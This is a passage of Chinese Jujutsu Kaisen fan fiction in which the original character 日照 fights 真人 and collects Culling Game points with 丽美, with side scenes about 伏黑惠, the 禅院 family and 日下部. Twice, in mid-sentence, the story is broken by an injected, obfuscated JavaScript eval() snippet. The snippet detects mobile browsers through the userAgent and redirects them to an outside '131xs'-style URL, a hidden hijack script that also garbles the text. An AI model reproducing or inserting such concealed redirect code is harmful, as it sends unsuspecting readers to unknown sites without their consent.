“你、你没事吧?血流个不停......”满口腥咸的虎杖悠仁怔然地想要扶住突然撑不住了的青年,却被他一手推开。 “走开点,我要吐......”他话 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16137738|180318||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 还没说完便跪地干呕,然而他同虎杖悠仁一样吐不出来什么东西,最后只呕出点带着血的胆汁。 宿傩的嘴巴被虎杖打回去之后就没再出来过了。回到血海铺就的生得领域里,诅咒之王知道这个突然出现在涩谷、凭借着咒具和奇特的术式才走到他面前的青年不像小鬼那样容易欺骗,估计也套不出什么话来。 这个家伙,靠近他和魔虚罗的时候浑身上下应该都被切碎过一遍,但是居然还能完好无损地站到他的面前。是凭借强力的反转术式吗?诅咒之王打了个哈欠,重新窝回骨堆上,否定了这个想法。 应该是他的术式吧?有趣、有趣。年纪轻轻就如此精通于咒术的使用,术式唤醒的速度竟然能够追上自己展开领域,恐怕他应该是现代使用术式最快的术师了吧? 宿傩在青年接近战斗中心1公里的时候察觉到了他,似乎是知晓自己已经被发现,青年开始加速靠近。通过感知察觉到了那贫瘠的咒力量,宿傩并未将他放在心上,而是专心陪着魔虚罗过招。 那种孱弱的咒力,恐怕很快就会被卷进战斗的余波中死掉,根本不值得他在战斗中分神。 然而当【伏魔御厨子】突兀地消散、魔虚罗头顶的法阵逆向旋转时,宿傩就像是在杉泽第三高中的教学楼顶第一次附身虎杖悠仁时一样,他的灵魂竟然被小鬼压制了下去,瞬间丢掉了由一次性吞食10跟手指带来的身体掌控权。 “哈哈、哈哈哈哈哈哈!原来如此,有趣、有趣!” 睽违千年,终于再度降临于世的诅咒之王大笑着,猩红的眼睛透过容器的副眼盯着那个让他丢了一城的年轻术师:“下次,先把你的大脑削掉好了。” 虎杖悠仁和那个陌生的青年在焦坑的边缘分开。 “你知道夏油杰和五条悟现在是什么状况吗?”临走时,青年问了他这个问题。 —— “如果不是他,恐怕宿傩就会开启领域,到时候整个涩谷都会......” “......不是你的错,虎杖。” 为了从陀艮的领域【荡蕴平线】中逃脱,伏黑惠召唤出了式神魔虚罗。这个一直被他当作杀手锏的式神从未被调服,从五条悟那里也没得到有关这个式神的任何情报。他只知道曾有十种影法术的术师利用魔虚罗和觉醒了无下限咒术的六眼术师同归于尽了。 大概、这个能够当作杀手锏吧?只要将它放出来就万事大吉,也不必担心式神会失控,毕竟伏黑惠一定会比被他拉入多人调服仪式中的对手先走一步,如此一来只要魔虚罗杀死了对手,参与仪式的双方都已死亡情况下,仪式失败,式神自然会解除。 当时就是这样一个让伏黑惠觉得可以召唤魔虚罗的情况。 七海建人、禅院直毘人和禅院真希被拉入了陀艮的领域,伏黑惠主动闯入领域的结界,在边缘处撑开了逃脱的洞口。他救下了领域里的三人,自己却因咒力不足而被困在了里面。为了殊死一搏,伏黑惠召唤出了魔虚罗来对抗陀艮。 本以为被打飞之后会落到海里溺亡,但没等他落入海中,【荡蕴平线】就解除了。之后发生的事情他有些记不清了,记忆中似乎是禅院直毘人带着他远离了那片战场,将他送到了家入硝子的身边。 因为他这个参与者没有死亡,所以仪式还没有结束,魔虚罗选定的对手是杀死漏瑚后主动赶来的宿傩。 听虎杖悠仁的形容,是日照弥山终止了宿傩和魔虚罗之间的战斗。他的术式究竟是什么?居然能够帮助虎杖悠仁压制宿傩的意识,同时还能破坏魔虚罗? 在将魔虚罗召唤出来后,伏黑惠才通过直接传递到脑海中的信息得知了魔虚罗的能力。 那可是完全的调和与适应,击败魔虚罗的唯一方法就是在它适应之前对它造成过量的攻击,不给它再生的机会。 除了五条悟和宿傩,伏黑惠想不到还有什么人能够做到这一点。 “总之,今晚就先好好休息吧,之后的一段时间估计都没有可以安心睡觉的时间了。”五条老师既然不选择将日照弥山的存在告知他们,估计不是为了提防总监部和保守派,就是连他自己也不能确定那个人的立场。更何况现在总监部里肯定混入了羂索的人,之间错综复杂的关系变得更加凌乱。 不知道虎杖悠仁听进去了没有,伏黑惠终于把脑子放空进入睡眠时,还能听到隔壁电灯的开关声。 —— “如果我在十五年前遇到你,大概会很乐意和你探讨灵魂与肉|体的联系。” 真人决定展开领域。在承受日照的攻击时,它感受到了直击灵魂的伤害。原来如此,怪不得羂索占据的那具躯体里没有记忆,连术式的使用都受到了限制!这个人和虎杖悠仁一样,都是受肉|体!! “领域展开——【自闭圆顿裹】!!” 让我看看你体内的那个灵魂吧! 日照不惧反笑,左手置于胸前,再次比出了日车宽见熟悉无比的手印。食指与小指竖起,其他手指蜷于掌心。 这个爆发性成长的咒灵在战斗直觉上的优秀毋庸置疑。它对自己非常自信,大概是因为能够触碰灵魂的原因,就像是神一样嘲弄着自己的对手。在灵魂优先论的世界,它的确是神一样的存在。 但是,咒术可不是只凭直觉和自信就能完全参悟的东西啊! “——领域展开。” 旁边的楼顶,日车宽见身侧的丽美忽然倒了下去。她浑身的咒力都被瞬间抽干,因为咒力枯竭,鼻子和双眼都流出了鲜血,脑袋一阵刺痛。 领域展开是利用咒力将被赋予术式的生得领域具现化的行为。如今的术师为了展开领域,都会死命研究结界术,调整结界的体积、构筑速度、对内对外的各种条件,追求必中必杀的效果。很少有人注意到构筑术式最根本的生得领域。 人类生来具有的,可以说是将内心具现化形成的“心象空间”,就叫作生得领域。因为与生俱来,所以习以为常。 无论是术师,还是非术师,都有生得领域。 领域对撞,结界的碎片在真人不可置信的眼神中闪烁着不详的黑色光芒。 8. 狩猎中 领域被打破的瞬间,真人感受到了一次冲击。它的根基——灵魂居然被动摇了!虽然从结果上看他们两人的领域都被破坏了,但细究的话是它的【自闭圆顿裹】先碎的。这也就意味着它的领域输给了日照的领域,从咒力量来看是它占据优势,那就是术式的相性!【无为转变】在术式相性上输给了他吗!? 失去【自闭圆顿裹】的保护,真人被日照赋予给领域的、拥有必中效果的术式击中了*。 这是什么术式!?它最先接触到那股冲击的双手开始分解,它想用咒力修复,却发现那道冲击并非只攻击到了它的肉|体,还有灵魂!偏偏它现在处于开启领域后的术式熔断时期,无法使用【无为转变】保持灵魂的形态。 在经历涩谷事变和虎杖悠仁的战斗之后,真人曾短暂地抓住过自己“灵魂的本质”。然而现在的状态却不允许它继续改变自己的灵魂。 “大家都把领域展开看得太绝对了,”日照已经持刀冲了过来,那柄胁差被注入了锋利的咒力,刃尖有雷电样的纹路,“想要只凭领域决定胜负吗?” 领域展开的确有一锤定音的决定性作用。真人转身就跑。 它被狱门疆·里的气息吸引而来,自从涩谷事变它与花御分开后,来自大地的咒灵就再也没有出现过。追寻着狱门疆的气息,它以为自己找到的是花御,没想到却碰到了日照。虽然不能说一点收获都没有,但这个青年比刚诞生不久的真人更熟悉咒术和战斗。 而且它就说有哪里很怪......这个人身上的咒力没有因为展开领域而减少! 为什么!? 过载的术式正在冷却,咒力仍有剩余,真人无法忽视日照身上出现的异常。要继续战斗吗?它曾遵循本能和虎杖悠仁战斗,但结果呢?自从抓住了灵魂的本质,它已经没办法再从战斗中寻找自我进化的方向了。 理性告诉它继续战斗没有意义,但它的本能追寻着进化,因此发生在日照身上的事情激发了它探索的本能。 日照伸手,在虚空中抓握了一下,然后像是拽住什么似的往后一扯。 真人忽然双腿一软,它的下半身好像是在它大脑中错位了一样,失去了控制,让它一头栽倒在地。不仅仅是双腿,它浑身上下都瘫软无力,对于咒力的控制也混乱不堪,它变得像是刚刚诞生时那样脆弱。不,它现在比那时还要脆弱。 但是,过载的术式突然恢复了。 下意识从肚子里吐出提前准备好的两个改造人,用【无为转变】将他们融合变成了“多重魂·拔体”,瞬间膨胀的改造人冲向日照。 日照就在等这个。 他手中的胁差是一柄名为雷切的特级咒具,其特性是能够反弹一切刀刃碰到的由术式造成的攻击。真人的【无为转变】是依靠双手触碰来发动的,考虑到它那千奇百怪的战斗灵感,想要准确触发雷切的特性有点困难。 而且雷切的反弹会将术式反击到术师本人身上,对真人来说,【无为转变】对它自己没有任何攻击性。就算雷切附加了日照的咒力,拥有了攻击灵魂的特性,在它陷入被动之前也并没有太强的杀伤力。 开启了领域、消耗大半咒力、被【仳】击中后的真人就不一样了。 砍向灵魂的一击足以重创它。 真人的身体像气球一样臌胀起来,眼球不受控制地向外突出,它不理解现在究竟发生了什么。作为根基的灵魂出现了裂痕,它想要用术式修补,却因为无法控制凌乱的咒力而失败了。 所以、到底是为什么!?为什么他在开启了领域之后还能继续使用术式!? —— 日车宽见扶住了瘫倒的丽美。 “什......么?”丽美的嘴角也开始淌出血。 那个青年和咒灵掉下百货大楼中后就没有了声响,突然出现的漆黑结界突破了顶层,然后又在瞬间碎裂。 那是领域展开时的结界?日车宽见还没有从外侧见过领域展开时包围领域的黑色结界,他对于咒术的理解还太过贫瘠。 他没等多久,日照就从隔壁大楼的顶层跳了过来。日车宽见没有说话,日照从他手中接过丽美,用反转术式帮她缓解咒力枯竭带来的不适。 “日、日照先生,我这是?” “嗯......简单来说,就是这样那样啦。” 这个人根本没打算好好解释......日车宽见想了想,这也挺符合他对这个叫日照的青年的认知。也许这个人的术式可以利用其他人的力量,但是需要其他人付出一些代价?刚才他利用的是丽美吗? “小金,汇报分数。” 小金兢兢业业地说道:“泳者日照弥山!!分数:82分!!” “嗯哼,最少还差四个人啊。”日照的视线划过还在不停咳嗽的丽美和日车宽见,精英律师下意识地向后挪了半步。 日照看见了他的动作:“哈哈,别害怕啊。” 池袋这个传送点附近肯定还游荡着不少泳者,凑够100分只是时间问题。他又不是什么嗜血成瘾的精神变态,日车宽见陪他消磨了时间,至少比起其他为了分数冲上来挑衅他的泳者来说还算识相。 “你要是早点拥有术式就好了......不,这么说我居然要感谢那个老怪物!?”说着说着他觉得不对劲了,日车宽见看着刚才笑嘻嘻的人突然愤怒地踢飞了脚边的碎石,只觉得他果然脑子有问题。 日照的愤怒来得快,去得也快,他扶起丽美,自然地将她手中的包裹收回网球袋:“怎么样,丽美?你要是想离开也无所谓哦。” “我、我不想离开!!”丽美拽着他的衣服不松手。 其实日车宽见一直在猜测这两个人的关系。他们看起来不像是同伴,更多的是用利用强行连接在了一起。丽美需要强大的人保护她,而日照需要一个趁手的“工具”。像今天这样,丽美能够帮他完成很多事。 “也行,”日照拍了拍她的头,问日车宽见,“你怎么还不走?我可不准备开车啊。” 自行车只能载一个人。 日车宽见没有多说,立刻决定离开这里。 在他跳下顶楼之前,听到日照的声音从后面悠悠传来:“多亏你看着她啦,律师先生!” 日照收起雷切,背上网球袋,拎着丽美从另一侧下了楼。 “丽美,还像今天这样可不行哦。” 她抖了一下。 “你明白的吧?下次不会有人带你远离战斗。如果你再因为咒力枯竭而动弹不得,我就会把你丢掉。” 为什么呢?为什么你连骗都不愿意骗我呢?以前的那些男人至少会为了让我听话而骗我,我不会拆穿他们的,哪怕我知道他们的承诺全部都是谎言! 日照语气淡淡,将她稳稳放到了地上。他向前走了两步,回头看向还站在原地的丽美。 丽美被很多人利用过,也被很多人抛弃过。他们将她的价值挖尽,然后毫不留情地踹开了她。这次也是一样,日照先生只是还没有挖尽她的价值,才允许她继续留在身边的。 “磨磨蹭蹭的。” “别急啊,”日照用只有他们能听见的声音小声说,“像丽美这样死脑筋的人很难碰到吧?非术师只能用一次,她好歹也能用术式。” 估计只能再用三四次吧? 丽美还是跟了上来。为了不被丢下,她必须......要变得更有价值? “那个脸上有缝合线的人,日照先生也把他杀死了吗?”丽美讨厌那个人。 “你说真人?很遗憾被它逃走了,”真人跑得太快了,日照懒得追上去,再说【无为转变】这个术式很少见,要是能留给夏油杰就好了,“咱们出发吧。” 各有所求的两人再次开始了狩猎。 聚集在这个传送点附近的泳者不肯轻易露面了。最开始伏击在四周的人见到了羽场夫妇的下场,有心者在目睹惨剧的瞬间扭头就走,只剩下充满野心的赌鬼决定赌日照不会主动来找他们的麻烦。 “......我后悔了,早知道把律师先生杀掉好了。”踢开被一分为二的尸体,日照扒拉小金,看着剩下的最后五分叹了口气。 自从他加入死灭洄游开始已经两天了,他还没见过由古代术师受肉而成的泳者。要是能看到每个泳者的信息就好了,估计还是需要用分数和小金兑换规则才行。 他们走出步行街的区域,穿过一条高架桥,从桥下走出时,远处的两声枪响惊飞了停在电线杆上的鸟雀。 日照徒手攥住了一枚子弹,他身旁的丽美没来得及呻吟就被击中了大脑,头向后甩去,鲜血和脑浆飞得到处都是。 “......搞什么?”日照向子弹射来的方向看去。子弹是从附近的一栋民房里射出来的,两个相隔不远的窗口分别探出了一根深色的枪管。 背靠着墙、捂着耳朵躲在窗口下的孩子伸出一只手扣在扳机上,他的爸爸替他瞄准、帮他扣下了扳机。属于孩童的小金报出了他们最渴望听到的消息:“获得5分!!” “我这边失手了!那家伙、那家伙徒手捏住了子弹!?” 趴在另一个窗口的枪手是孩子的叔叔,孩子既然已经拿到了分数,他这边失手也没什么关系了。 原本和平安稳的生活突然变得分崩离析,在家备受宠爱的孩子莫名其妙卷入了一场死亡游戏,如果不杀人的话就会死。孩子当然杀不了人,所以他们做大人的自然要想方设法救他。 日照待在原地没有动,金属碎屑从他的手掌中簇簇落下,脚边一朵小花枯萎了。他拍了拍手,眼睛没有离开那栋民居:“快起来啊丽美,我要把你丢在这里喽?” 房间内,孩子的小金突然说道:“得分错误!!得分取消!!” “哈!?那女的都死得透透......的......” 丽美尖叫着捂住脑袋,涕泪横流地从地上爬了起来:“日照先生!!日照先生!!” 她头上恐怖的枪伤消失了,可大脑被旋转的子弹搅烂、脑子被轰飞的感受却依旧残留在丽美的脑海里。她的确应该已经死了,可为什么她还能尖叫? 日照拉住她背后的衣服,用咒力强化身体,在房间里隔着窗口向外看的两人眼中消失,下一刻两扇窗户之间的墙壁就被人暴力破坏,他们狙击的对象大摇大摆地出现在了他们眼前。被爆头的女孩也死而复生,正用恐惧又怨恨的眼神盯着他们。 “太夸张了吧?你们从哪里搞到的枪啊?”日照惊讶地看着他们手里的武器。来自热武器的攻击哪怕是咒术师也会中招,如果不是他发动术式的速度快到令人发指,丽美此时就真的已经死了。 孩子的尖叫声和持枪男子的大吼混在一起,丽美挣开了他的手,操纵蝎尾一样的发辫刺穿了其中一人的身体。日照单手捂耳,甩出扑克切断了噪音的来源。 “获得5分!!1分!!” “获得1分!!” 哪怕那人已经彻底死亡,丽美依旧不停地攻击着。在死亡的刺激下,她的咒力暴涨,神色狰狞却又满眼恐惧。 “小金,”日照饶有兴致地看着她,随口说道,“增加规则,泳者可以自由出入结界。” 小金沉默了两秒,然后兴奋地说:“承认!!新增《总则9》!!泳者可以自由出入结界!!” 如此同时,所有死灭洄游参与者的小金同时通报:“有泳者增加了新规则!!《总则9》!!泳者可以自由出入结界!!” 比想象中的要更好说话啊。日照知道死灭洄游最重要的规则是“游戏的永续”,虽然没有明文规定,但任何现有的规则和未来可能增加的规则都必定要遵守这个底线。他想过,因为有泳者每19天必须有分数变动这样的规则存在,自由进出结界就不会导致因为泳者不在结界内所以可以逃避死灭洄游的可能。相反,这样的规则还利于游戏的活跃度。 日照走到大口喘息着的丽美身边:“怎么样?掌控他人生死的感觉?” 丽美看着自己沾满鲜血的双手,恶心地吐了出来。 —— 2018年11月3日,19时,禅院本家。 禅院直哉阴沉着脸,族 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16137739|180318||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 内的医生为他处理了断肢的伤口,死板地弯着腰退了下去。 没人敢来打扰他,现在估计也没有人能顾得上他这个被自己亲爹放弃的未来家主。禅院直毘人要是直接在涩谷事变中死掉,事情倒是能变得简单很多。争夺一个空着的家主之位,和从没死的家主手中抢夺那个位置是完全不同的概念。 “哈,”正在喝酒的禅院直毘人看到了狼狈的禅院直哉,“你还没有放弃吗,直哉?” 现在他们父子全都只剩一只手了。禅院家没有能够利用反转术式让断肢重生的术师,高专的家入硝子同样做不到断肢重生。反转术式作用在他人身上的效率只有自身的一半,就算有术师能用反转术式让自己的肢体再生,也无法保证让同样的效果出现在他人身上。 除非他自己突破界限领悟反转术式,否则禅院直哉大概只能和断掉的手臂过一辈子了。 “没听到你驾鹤西去的消息真是让我伤心了一番,所以能请你痛快地去死吗?老爹?”禅院直哉越过自己生理上的父亲,向会议室的方向走去。 禅院直毘人没有在意他的话,毕竟他们生在这样的家族里。禅院直毘人自己的术式历史短浅,根本不必考虑一脉相承的事,但他能成为家主就是凭借【投射咒法】赢得的最速术师称号。 作为父亲,他给出了的最后忠告:“那个人一定会回来。” 禅院直哉停下了脚步,禅院直毘人喝掉酒壶里的最后一口酒:“现在我要落荒而逃了,其他随便你了。” 那个人? “你是说......甚尔!?” 被咒术拒绝的怪物禅院甚尔。 “……甚尔还活着啊?他这些年安静到我以为他已经死了。” 禅院直毘人搓搓手指:“五条家的人虽然不怎么样,但给钱却很大方。涩谷已经让我赚够本了。” 禅院直哉听完了这些话,快步离开这里去找他的叔叔们。路上,他再难抑制自己兴奋的表情。 —— 熊猫看向日下部笃也:“日下部,我们能离开结界了诶!” 以摸鱼为人生信条的成年人叹气。不知道为什么,他总觉得这就是五条悟送来池袋的那个“大麻烦”能干出来的事。那家伙这两天有睡觉吗!?为什么这么拼啊!? “腌鱼子!”狗卷棘冲他们比了一个“耶”。 他们在东京第1结界的疏散任务也接近尾声,替日下部笃也完成工作的今井太郎又送来了特殊频道的通讯:“日下部先生,你真的不考虑直接让机械丸......” 日下部笃也:“......” 都怪五条悟,搞出这么多稀奇古怪的东西来。 他展开纸条看了一眼,突然喊了起来:“大事不妙了熊猫!快快!” “什么事啊,日下部?” 日下部笃也烧掉了那张纸,扯着熊猫向结界边缘跑去:“今井、狗卷,这里先交给你们了!!帮我跟机械丸说一声,拉我进去!!” 狗卷棘点点头,举起喇叭:“鲑鱼!” 今井太郎敲着迷你机械丸,嘴里吐槽道:“早这样不就好了嘛,日下部先生总是这么别扭。” 感谢那个“大麻烦”增加的规则,日下部笃也带着熊猫直接从这边离开了结界。他小心地看了看疏散通道的周围,还有很多正在远离这边的普通人。太好了,总监部的人还没来! 熊猫人性化地用毛茸茸的手指点点嘴巴:“日下部,难道是正道出事了吗?” 日下部笃也没有回话,只是一个劲地埋头往前跑,去找辅助监督借车。 五条悟失去了【无下限咒术】,他本人还能活动而非被封印进那个狱门疆,所以五条家还在和总监部扯皮。夏油杰已经彻底失去自主行动能力了,不过他本来就不是世家出身,此刻倒没有人揪着他的身份说事。 没了这两个“最强”的镇压,首当其冲面对总监部威胁的就是被他们用各种办法保下来的“特殊分子”。掌握特殊咒骸制作方法的东京高专校长夜蛾正道就是总监部第一个拿来开刀的人。 五条悟估计忙着找狱门疆,传信过来的是人是没有离开总监部的五条派的人,今晚总监部将针对夜蛾正道展开清剿活动。 来执行的大概率是禅院或者加茂家的术师们。 作为夜蛾正道创造出来的突然变异咒骸,熊猫自然也要被收入总监部进行监管研究。那群老橘子们的心思谁不知道,日下部笃也拉开车门,帮熊猫把自己塞进了后排,一脚油门向着高专的方向去了。 五条也好,夏油也好,你们两个不管是谁赶快回来一个吧!!求求了!!日下部笃也真心实意地祈求老天开开眼。 —— 日照接下来准备去东京第2结界,天元说过能够解封狱门疆的天使就在那里。然而现在的问题是他不知道究竟该往哪个方向走。他准备今晚去周围找张地图,然后随便找个方向先离开结界,用通讯网络获取一下最新消息。LINE或Twitter上总会有他想知道的东西。 丽美没有胃口,现在天已经黑了。 周围是商业街,亮起的路灯说明附近的电力仍旧保持通畅,但高层楼房的窗口几乎没有亮起的灯光。 他们来到新宿站周围,在新宿4丁目北边两条街的距离找到了一家名叫东京中心酒店的地方。三层楼高的酒店看起来设施完好无损,周围寂静得只能听见流浪猫的叫声。 看起来不会有人和他们选择同一个地方休息。丽美已经身心俱疲,这是她第一次杀人,人血的味道和脂肪的触感让人反胃作呕。明明他们都是同一种生物,在见到同类的尸体、尤其是由她自己创造的尸体时却怎么也忍不住那股恶心的感觉。 她现在只想找个地方洗掉发尾残留的血液。 日照看起来心情也不错,他走到自动门前,在叮叮咚咚的电子欢迎声中,丽美刚刚放松下来的心又悬了起来。 “晚上好啊三位,”无人看管的前台大厅,温暖的黄色灯光从头顶打下,日照自然地和眼前的三人打招呼,“你们知道‘天使’吗?” 9. 友好交流 “啊?” 光着上身穿吊带裤的人看着闯进来的日照。 “很遗憾,我们不认识。” 丽美站在日照身后两步左右的距离,这家酒店大厅里的三个人,一个光着膀子穿吊带裤,一个穿着用纸还是购物小票之类的东西做成的草裙,剩下的那个看着像是路边的小混混。 “我还以为古代术师都不屑于说谎呢,还是说天使是你们的同伴?放心,我只是想找她帮个忙而已。”日照的眼睛扫过他们所有人,最后目光落在了回答他的零士·明星身上。 “那你可就对他们有太大的误解了,毕竟过去的老家伙们活得越久越精明不是吗?” 日照笑嘻嘻的:“我想也是。” 噗嗤。 日照和零士·明星一起扭头看向黄栌折。他手里拿着扣下来的眼珠,挑起一边的眉毛问:“干嘛?你们不打吗?” 零士·明星摊手:“我更想去做个全身SPA。还有这么多好东西等着我去享受呢。” 日照举手:“先睡觉。” 黄栌折:“?” 跟他们同行的针千钧没有表达自己的想法,看起来全凭其他两个人做主。丽美自然也不希望他们打起来,她已经筋疲力竭。 零士·明星一伙人选在一楼的客房,因为这层就能做他心心念念的全身SPA套餐,他对“120分钟沉浸式艺术疗愈”很感兴趣。 针千钧提醒他:“这可没人给你做按摩,还是说你想让三楼的那两人来帮你?” “不用管他,”黄栌折用反转术式治疗了自己的眼睛,“他抱着收据打印机就能嗨上天。” 三楼,日照和丽美各自选了一个房间。 他简单地用结界术将房间围了起来,借助咒符尽可能地隐匿掉从他的房间散发出去的咒力。 做完这一切,他将网球袋放在窗户旁边的沙发椅上,敞开的拉链里露出了狱门疆·里的一角。 “......我本来以为这个东西会老老实实待在惠心院。” “你的结界术一如既往的烂啊。” “不需要你提醒我!!你知道就出来帮我啊!!”要是有什么能够隐藏咒力流动的咒具就好了,最好还能随身携带,不然每次到一个新地方日照都要在他的嘲笑下使用结界术。 “我才懒得管你。” “......跟你说正事。” “当时就是你的错。” 日照的手摸上了自己的脖子,黑色绳编项链的纹路在他指头下凹凸起伏。项链的正中缠绕着一个石块状的东西。日照的手指停留在那里,片刻后放下。这个项链几乎紧贴着他的皮肤,没有任何移动的余地,更像是一个项圈锁住了他的弱点。 “现在看我当时是不是深谋远虑?” “少来,滚去吃饭。” 这家酒店的二层有餐厅和酒吧。 “我不想做饭,”日照直挺挺地往床上一躺,虽然这几天吃便当速食和面包吃得快要便秘,但他现在就是不想做饭,“要吃你自己去。” 下一刻,他感觉身下的床垫一轻,熟悉的失重感传来。 他放任自己陷入沉眠。 —— 丽美听到了门口有脚步声经过,整个三楼就只有她和日照,所以日照先生是去吃东西的吗?她今天也没吃什么正经东西,又经历了恐怖的死亡,现在饿得饥肠辘辘。 她悄悄溜出了门,往脚步声前进的二层走去。 青年正在餐厅的开放式厨房里寻找着什么,冰箱里还有一些鲜肉和蔬菜,他一只手随意耍着细长的厨刀,挑出土豆、萝卜和洋葱。冷冻室的牛肉和鸡肉都硬梆梆的,他等不及解冻,直接用咒力附加在厨刀上将梆硬的肉切成长宽2厘米左右的块状。 其他一应食材随手切好,热锅冷油翻炒洋葱。炒到琥珀色以后加入萝卜和土豆块,裹满油就加水没过食材的表面。 “......没有苹果泥。” “你在做什么?”黄栌折悄无声息地摸了过来,靠在餐台旁。 “自己看啊。” “这家伙自己没做过饭,所以我才问你啊。”他受肉的这个家伙被人宠坏了,从来没进过厨房。 日照瞥了他一眼,这一眼让黄栌折换了个坐姿:“你......受肉|体?哪个时代的人?” “我不是,你想多了。” 黄栌折越看越觉得可疑,这人就像换了个芯一样,没有初见时轻飘飘的感觉了。而且就算声音很像,但还能听出咬字重音上有细微的差别。 “日照先生......这是!咖喱?”丽美从楼上小心翼翼地靠近。她不太敢接近黄栌折,哪怕现在餐厅里的氛围还在可控范围内。 铁锅里的水面开始咕嘟咕嘟地冒泡,日照盖上锅盖等待着。 “你找天使干什么?”闲着也是闲着,黄栌折问道。 这个餐厅和酒吧是连通的,在等待咖喱煮熟的时间里,日照溜达到酒柜前看柜台上琳琅满目的瓶子:“你和她是一个时代的术师吗?” 黄栌折不耐地敲敲桌面:“是我在问你。” 日照将目光从酒瓶上挪开,直视黄栌折:“你认识她。那你一定知道她的术式。” “你找她帮忙是因为她的术式?”黄栌折一点都不意外日照从他的态度里猜到什么东西。有一些人天生擅长这些,和这类人说话打交道都让他觉得麻烦死了。 她生前就有些神神叨叨,黄栌折没和她打过,但有关她和她所在的涅漆镇抚队的传闻还是略知一二的。最初受肉的这几天恐怕没人愿意碰到天使,在和容器更紧密地融合之前,天使的术式能够轻而易举地杀死他们。 “重生的感觉怎么样?” “啊?”黄栌折歪头:“还行吧。这个游戏倒是不会让我觉得无聊......只是现在不会而已。” 日照耸耸肩。 他的态度让黄栌折嘁了一声:“现代的术师根本没有能打的,结果等了那么久,最后还是要和那群老对手待在一起。” 煮着咖喱的锅喀拉喀拉地响了起来,蒸汽顶着锅盖在开始变得软烂的食材上跳舞。 “所以你就是因为想打架?” “多少也对未来有点好奇心吧。” “好奇心啊......”日照关火,等锅凉了点,放入掰碎的咖喱块,又随手丢进去一些黑巧克力和咖啡粉,搅拌至完全融化。 恶心至极的东西。 准备咖喱之前蒸上的饭现在已经蒸好了,日照重新开火,小火炖煮5分钟,咖喱的香气就将冷清的餐厅填满了。 黄栌折下意识咽了咽口水。他所在的时代还没有这么多调味品,更主要的是这一锅咖喱实在有点太香了。 关火之后,日照径直给自己盛了一大碗饭,舀了足够多的咖喱,随便找了个座位吃了起来。丽美凑到锅边,发现还剩下不少,她自己盛了一碗之后迅速上楼回房间了,现在餐厅里就剩下日照和黄栌折。 “想吃就吃,随便你。” 黄栌折摸着脖子盛了一盘咖喱。 确实好吃。 —— 2018年11月4日,东京高专,7时32分。 虎杖悠仁、伏黑惠和胀相离开了高专结界的范围,出发前往栃木县某个立体停车场去找三年级的秤金次和星绮罗罗。七海建人在昨晚就搭最近的航班出发了,乙骨忧太也在他们之前出发,听说是去仙台结界的方向。 “伏黑,津美纪姐姐已经醒过来了吗?”他们走上了公路,本来想借机械丸的那个电动三轮车,但现在机械丸也没有精力再管他们了,所以胀相正在周围找合适的交通工具。伏黑惠的式神警戒着周围。 “我倒是希望她继续睡过去,不,这么说太奇怪了。”伏黑津美纪在死灭洄游开始的那刻就从沉睡中醒了过来,伏黑惠在接到辅助监督的电话后一时不知道究竟是该欣喜还是担忧。 羂索在发动【无为转变】之前曾提到有不少人在被他做标记的时候因为承受不住他的咒力而陷入昏迷,伏黑津美纪在此时清醒说明她正是羂索改造大脑的受害者。 津美纪在结界外,伏黑惠翻着手机,LINE上有不少人都说自己的亲人从沉睡中苏醒,但又不得不去参加什么叫死灭洄游的游戏。一群人在网络上呼吁尚未进入结界的泳者们集体抵制这个游戏的举办者,评论区也有不少人不相信死灭洄游是真实存在的。 伏黑津美纪一直没有给他发消息。他们最后的对话停留在1年零7个月前,那时她几乎每天都要发消息关心他有没有好好吃午饭,又或者是在雨天有没有带雨伞。他很少回复,直到几乎已经变成日常的消息中断的那一天。 她已经昏睡了一年半,估计是身体支撑不了她长时间活动才没能及时回他的消息。他退出聊天界面,手指划过的时候扫到了和他老爹的聊天记录。他看着伏黑甚尔的头像很大声的啧舌,他们最后的对话是伏黑惠给他转钱过去。 自从伏黑惠认识了五条悟之后,他们家的财产管理权就从伏黑甚尔身上转移到了伏黑惠和津美纪身上。算了,现在根本没时间管他,好好地待在家里别添乱就行。 “那你知道秤学长他们为什么被停学吗?” “听说是因为术式的原因和保守派起了冲突?”进入高专的学生们会在入学时将自己的咒力进行登记,同时上报自己的术式。然而不同学校的学生之间很少相互公开术式,这能让他们在姊妹校交流会中拿到更多胜机,或者在必要时刻通过术式公开的束缚增加自己的战斗力。至于秤金次的问题,完全是因为伏黑惠入学的时候秤金次已经停学了。 “乙骨前辈说秤学长状态好的时候比他还要强,考虑到他本人过于自谦的性格,这个结论的真实性可能需要打一些折扣,但绝不是耸人听闻。” 胀相找来了一辆还能开的巴士,他们在车辆引擎的声音引来更多咒灵之前迅速离开了此地。 —— 禅院直哉不爽地看着坐在他对面的禅院甚一:“你们觉得甚尔会听上头那群老头子的话?” “所以说是你太心急了,直哉。在这一点上伏黑惠比你适合当家主。” 禅院直哉冷笑一声。 咒术总监部确认了十六年前死亡的日照星海存活的事实,对其下达处刑命令,五条悟和夏油杰为共同主犯,将他们永久驱逐出咒术界。一切试图解封狱门疆和帮助五条悟的行为皆视为同罪。 